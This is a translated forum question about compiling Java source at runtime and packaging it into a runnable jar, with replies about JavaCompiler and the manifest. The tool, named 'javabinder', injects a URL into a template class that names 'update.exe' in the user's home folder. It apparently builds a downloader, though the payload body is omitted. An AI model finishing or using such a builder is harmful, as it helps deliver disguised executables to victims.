2012-04-09 107 views
3

我在文本文件中有java源代碼。必須在源代碼中輸入一些自定義的硬編碼變量,然後將其轉變爲jar。這可以工作,但是當我運行該jar時,無法找到Main類。Java以編程方式編譯jar

當我用WinRAR解壓jar文件時,我似乎無法找到錯誤。

當我運行通過CMD的生成/提取的類文件,我得到「錯誤:無法找到或加載主類主營」

清單生成:

Manifest-Version: 1.0 
Main-Class: javabinder.Main 

的源代碼:

public class JarOutStream extends Thread{ 
    public static final String HOME = "/javabinder/"; 
    public static String url; 
    public JarOutStream(String text) { 
     url = text; 
    } 

    @Override 
    public void run() 
    { 
     try { 
      //Read file and place the URL 
      BufferedReader br = new BufferedReader(new InputStreamReader(getClass().getClassLoader().getResourceAsStream("./net/sharpcode/binder/data.txt"))); 
      StringBuilder sb = new StringBuilder(); 
      String line; 
      while ((line = br.readLine()) != null) 
      { 
       if(line.contains("#URL#")) 
        line = line.replace("#URL#", url); 
       sb.append(line); 
       sb.append("\n"); 
      } 
      br.close(); 

      JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); 
      DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<JavaFileObject>(); 
      JavaFileObject file = new JavaSourceFromString("Main", sb.toString()); 
      Iterable<? extends JavaFileObject> compilationUnits = Arrays.asList(file); 
      CompilationTask task = compiler.getTask(null, null, diagnostics, null, null, compilationUnits); 
      boolean success = task.call(); 
      if(!success) { 
       JOptionPane.showMessageDialog(null, "Error while compiling."); 
       return; 
      } 
      //Create the jar and add the compiled java file 
      Manifest manifest = new Manifest(); 
      manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0"); 
      manifest.getMainAttributes().put(Attributes.Name.MAIN_CLASS, "javabinder.Main"); 
      JarOutputStream target = new JarOutputStream(new FileOutputStream(new File(HOME + File.separator + "output.jar")), manifest); 
      String path = Bootstrapper.class.getProtectionDomain().getCodeSource().getLocation().getPath() + "Main.class"; 
      System.out.println(path); 
      //Error with the path I guess. 
      add(new File(path), target); 

      target.close(); 

      JOptionPane.showMessageDialog(null, "Completed!"); 
     } catch (Exception ex) { 
      System.out.println("Error : " + ex.toString()); 
      ex.printStackTrace(); 
     } 
    } 

    private void add(File source, JarOutputStream target) throws IOException 
    { 
     BufferedInputStream in = null; 
     try 
     { 
      if (source.isDirectory()) 
      { 
       String name = source.getPath().replace("\\", "/"); 
       if (!name.isEmpty()) 
       { 
        if (!name.endsWith("/")) 
         name += "/"; 
        JarEntry entry = new JarEntry(name); 
        entry.setTime(source.lastModified()); 
        target.putNextEntry(entry); 
        target.closeEntry(); 
       } 
       for (File nestedFile: source.listFiles()) 
        add(nestedFile, target); 
       return; 
      } 

      JarEntry entry = new JarEntry(source.getPath().replace("\\", "/")); 
      entry.setTime(source.lastModified()); 
      target.putNextEntry(entry); 
      in = new BufferedInputStream(new FileInputStream(source)); 

      byte[] buffer = new byte[1024]; 
      while (true) 
      { 
       int count = in.read(buffer); 
       if (count == -1) 
        break; 
       target.write(buffer, 0, count); 
      } 
      target.closeEntry(); 
     } 
     finally 
     { 
      if (in != null) 
       in.close(); 
     } 
    } 
    class JavaSourceFromString extends SimpleJavaFileObject { 
     final String code; 
     JavaSourceFromString(String name, String code) { 
      super(URI.create("string:///" + name.replace(".","/") + Kind.SOURCE.extension),Kind.SOURCE); 
      this.code = code; 
     } 
     @Override 
     public CharSequence getCharContent(boolean ignoreEncodingErrors) { 
      return code; 
     } 
    } 
} 

包含java源代碼的文本文件:

import java.io.BufferedOutputStream; 
import java.io.File; 
import java.io.FileOutputStream; 
import java.io.InputStream; 
import java.net.URL; 
import java.net.URLConnection; 


public class Main 
{ 
    private static final String LOCAL_LOCATION = System.getProperty("user.home") + File.separator + "update.exe"; 
    private static final String URL = "#URL#"; 

    public static void main(String args[]) throws Exception 
    { 
     //CODE (no compile errors) 
    } 
} 

更新:如所示,我現在使用JavaCompiler類。哪些工作,但我仍然有問題,把它放在一個罐子裏。

+0

是否有你包括任何類別主要方法是什麼?如果這是唯一被包含的類,那就是jar無法運行的原因。 – 2012-04-09 17:13:39

+0

@NathanielFord添加了文本文件的內容。 – Reinard 2012-04-09 17:16:04

+0

我試着將包聲明添加到文本文件(包javabinder;)但沒有幫助。 – Reinard 2012-04-09 17:17:26

回答

2

如何使用JavaCompiler

+0

我看着JavaCompiler,它工作正常。儘管如此,仍然存在將該類放在jar中的問題。 – Reinard 2012-04-10 15:52:55

+0

你能否詳細說明你的問題 – 2012-04-10 15:53:58

+0

我編譯了源代碼,然後我想把它變成一個沒有問題的jar:s。但它永遠找不到主類 – Reinard 2012-04-10 16:09:26